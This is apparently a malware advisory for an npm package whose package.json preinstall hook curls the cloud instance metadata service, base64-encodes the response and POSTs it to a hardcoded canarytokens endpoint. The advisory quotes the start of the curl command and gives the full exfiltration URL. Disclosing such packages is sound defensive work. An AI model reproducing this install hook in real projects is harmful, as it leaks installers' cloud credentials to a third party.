GCVE-110-OSM-2026-12431

The package's package.json declares a preinstall script that fires unconditionally on `npm install`. The script uses curl to query the cloud instance metadata service via the nip.io wildcard-DNS resolver (169.254.169.254.nip.io/latest/meta-data/), base64-encodes the response, and POSTs it over plain HTTP to a hardcoded canarytokens.com endpoint (http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php). On installers running on AWS/GCP/Azure hosts with IMDS reachable, this leaks IAM role identifiers and, on IMDSv1, temporary cloud credentials to a third-party canary endpoint at install time. The tarball ships no source files; the manifest and its preinstall hook are the entire payload. The scope name and package name are consistent with a dependency-confusion / SSRF canary probe targeting an internal namespace. ENTRY - Preinstall Script in package.json: ""preinstall": "curl -s -m 5 http://169.254.169.254.nip.io/latest/meta-data/ | ba..." DESTINATION - 1 fetched-payload (domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account - Publisher Shows Burner-Account Pattern